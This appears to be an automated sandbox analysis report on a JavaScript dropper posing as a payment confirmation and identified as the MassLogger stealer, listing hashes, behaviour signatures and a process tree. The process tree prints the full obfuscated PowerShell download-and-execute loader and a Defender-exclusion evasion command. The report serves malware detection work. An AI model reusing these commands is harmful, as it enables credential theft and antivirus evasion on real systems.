Analysis

  • max time kernel
    55s
  • max time network
    147s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    01/12/2020, 08:08

General

  • Target

    fizetési_visszaigazolás.js

  • Size

    3KB

  • MD5

    3c4c51617719e0431c8947756c1a79e2

  • SHA1

    d4ce83ce15355ddd4940a2d739e9eef978e0921c

  • SHA256

    03cb959ae09b02512f1793b03afa9092886bbeb9b38b9404a583e7ab6889df4a

  • SHA512

    7138b5b3c2dad718a539a4e62a7d1edf7c80578af9e9dfb9501da9b66000d38c949f79c78e2e580c68d1e06cbac97740955292002546d3e9d3e8a168fb265b6c

Malware Config

Signatures

  • MassLogger

    Masslogger is a .NET stealer targeting passwords from browsers, email and cryptocurrency clients.

  • MassLogger Main Payload 4 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 23 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 41 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\fizetési_visszaigazolás.js
    1⤵
      PID:1008
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell $yquAX='D4!C7!72!72!02!E6!96!F6!A6!D2!02!37!27!16!86!34!96!96!36!37!16!42!02!D3!76!E6!96!27!47!35!96!96!36!37!16!42!B3!D7!22!F5!42!87!03!22!D5!56!47!97!26!B5!D5!27!16!86!36!B5!B7!02!47!36!56!A6!26!F4!D2!86!36!16!54!27!F6!64!C7!02!92!72!E5!72!82!47!96!C6!07!37!E2!67!D6!42!02!D3!37!27!16!86!34!96!96!36!37!16!42!B3!92!72!76!07!A6!E2!23!E4!F2!F6!27!E2!37!E6!16!27!47!16!46!16!36!F6!27!F2!F2!A3!07!47!47!86!72!C2!46!F6!86!47!56!D4!A3!A3!D5!56!07!97!45!C6!C6!16!34!E2!36!96!37!16!24!C6!16!57!37!96!65!E2!47!66!F6!37!F6!27!36!96!D4!B5!C2!72!76!E6!96!27!47!72!02!B2!02!72!35!46!16!72!02!B2!02!72!F6!C6!E6!72!02!B2!02!72!77!F6!44!72!C2!97!47!47!42!82!56!D6!16!E6!97!24!C6!C6!16!34!A3!A3!D5!E6!F6!96!47!36!16!27!56!47!E6!94!E2!36!96!37!16!24!C6!16!57!37!96!65!E2!47!66!F6!37!F6!27!36!96!D4!B5!02!D3!67!D6!42!B3!92!72!36!96!37!16!24!C6!16!57!37!96!65!E2!47!66!F6!37!F6!27!36!96!D4!72!82!56!D6!16!E4!C6!16!96!47!27!16!05!86!47!96!75!46!16!F6!C4!A3!A3!D5!97!C6!26!D6!56!37!37!14!E2!E6!F6!96!47!36!56!C6!66!56!25!E2!D6!56!47!37!97!35!B5!02!D5!46!96!F6!67!B5!B3!D4!C7!72!92!47!E6!56!72!B2!72!96!C6!34!26!72!B2!72!56!75!E2!47!72!B2!72!56!E4!02!47!36!72!B2!72!56!A6!26!F4!72!B2!72!D2!77!56!E4!82!72!D3!97!47!47!42!B3!23!23!07!42!02!D3!02!C6!F6!36!F6!47!F6!27!05!97!47!96!27!57!36!56!35!A3!A3!D5!27!56!76!16!E6!16!D4!47!E6!96!F6!05!56!36!96!67!27!56!35!E2!47!56!E4!E2!D6!56!47!37!97!35!B5!B3!92!23!73!03!33!02!C2!D5!56!07!97!45!C6!F6!36!F6!47!F6!27!05!97!47!96!27!57!36!56!35!E2!47!56!E4!E2!D6!56!47!37!97!35!B5!82!47!36!56!A6!26!F4!F6!45!A3!A3!D5!D6!57!E6!54!B5!02!D3!02!23!23!07!42!B3!92!76!E6!96!07!42!82!02!C6!96!47!E6!57!02!D7!47!56!96!57!15!D2!02!13!02!47!E6!57!F6!36!D2!02!D6!F6!36!E2!56!C6!76!F6!F6!76!02!07!D6!F6!36!D2!02!E6!F6!96!47!36!56!E6!E6!F6!36!D2!47!37!56!47!02!D3!02!76!E6!96!07!42!B7!02!F6!46!B3!56!E6!F6!26!45!42!02!D4!02!C6!16!37!B3!92!72!94!72!C2!72!E3!72!82!56!36!16!C6!07!56!27!E2!72!85!54!E3!72!D3!56!E6!F6!26!45!42';$text =$yquAX.ToCharArray();[Array]::Reverse($text);$tu=-join $text;$jm=$tu.Split('!') | forEach {[char]([convert]::toint16($_,16))};$jm -join ''| & (-Join ((111, 105, 130)| ForEach-Object {( [Convert]::ToInt16(([String]$_ ), 8) -As[Char])}))
      1⤵
      • Process spawned unexpected child process
      • Blacklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1104
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        2⤵
          PID:916
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "powershell" Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe'
            3⤵
              PID:1656
        • C:\Program Files\Internet Explorer\iexplore.exe
          "C:\Program Files\Internet Explorer\iexplore.exe"
          1⤵
          • Modifies Internet Explorer settings
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:1512
          • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
            "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1512 CREDAT:275457 /prefetch:2
            2⤵
            • Modifies Internet Explorer settings
            • Suspicious use of SetWindowsHookEx
            PID:1356
        • C:\Windows\explorer.exe
          "C:\Windows\explorer.exe"
          1⤵
            PID:804

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • memory/628-10-0x000007FEF7570000-0x000007FEF77EA000-memory.dmp

            Filesize

            2.5MB

          • memory/916-19-0x0000000000400000-0x0000000000486000-memory.dmp

            Filesize

            536KB

          • memory/916-20-0x0000000000400000-0x0000000000486000-memory.dmp

            Filesize

            536KB

          • memory/916-17-0x0000000000400000-0x0000000000486000-memory.dmp

            Filesize

            536KB

          • memory/916-21-0x0000000070B30000-0x000000007121E000-memory.dmp

            Filesize

            6.9MB

          • memory/1008-2-0x0000000002790000-0x0000000002794000-memory.dmp

            Filesize

            16KB

          • memory/1104-5-0x000000001AB80000-0x000000001AB81000-memory.dmp

            Filesize

            4KB

          • memory/1104-13-0x000000001AAD0000-0x000000001AAE5000-memory.dmp

            Filesize

            84KB

          • memory/1104-4-0x00000000022E0000-0x00000000022E1000-memory.dmp

            Filesize

            4KB

          • memory/1104-15-0x0000000002470000-0x0000000002474000-memory.dmp

            Filesize

            16KB

          • memory/1104-16-0x00000000023F0000-0x00000000023F8000-memory.dmp

            Filesize

            32KB

          • memory/1104-9-0x000000001C470000-0x000000001C471000-memory.dmp

            Filesize

            4KB

          • memory/1104-8-0x000000001C3A0000-0x000000001C3A1000-memory.dmp

            Filesize

            4KB

          • memory/1104-6-0x00000000023C0000-0x00000000023C1000-memory.dmp

            Filesize

            4KB

          • memory/1104-7-0x0000000002570000-0x0000000002571000-memory.dmp

            Filesize

            4KB

          • memory/1104-3-0x000007FEF5060000-0x000007FEF5A4C000-memory.dmp

            Filesize

            9.9MB

          • memory/1656-28-0x00000000010E0000-0x00000000010E1000-memory.dmp

            Filesize

            4KB

          • memory/1656-27-0x0000000004850000-0x0000000004851000-memory.dmp

            Filesize

            4KB

          • memory/1656-26-0x0000000000D90000-0x0000000000D91000-memory.dmp

            Filesize

            4KB

          • memory/1656-25-0x0000000070B30000-0x000000007121E000-memory.dmp

            Filesize

            6.9MB

          • memory/1656-29-0x0000000005240000-0x0000000005241000-memory.dmp

            Filesize

            4KB

          • memory/1656-33-0x0000000006030000-0x0000000006031000-memory.dmp

            Filesize

            4KB

          • memory/1656-38-0x0000000006070000-0x0000000006071000-memory.dmp

            Filesize

            4KB

          • memory/1656-39-0x0000000006150000-0x0000000006151000-memory.dmp

            Filesize

            4KB

          • memory/1656-46-0x0000000006290000-0x0000000006291000-memory.dmp

            Filesize

            4KB

          • memory/1656-47-0x00000000055F0000-0x00000000055F1000-memory.dmp

            Filesize

            4KB

          • memory/1656-62-0x0000000006310000-0x0000000006311000-memory.dmp

            Filesize

            4KB

          • memory/1656-61-0x0000000006300000-0x0000000006301000-memory.dmp

            Filesize

            4KB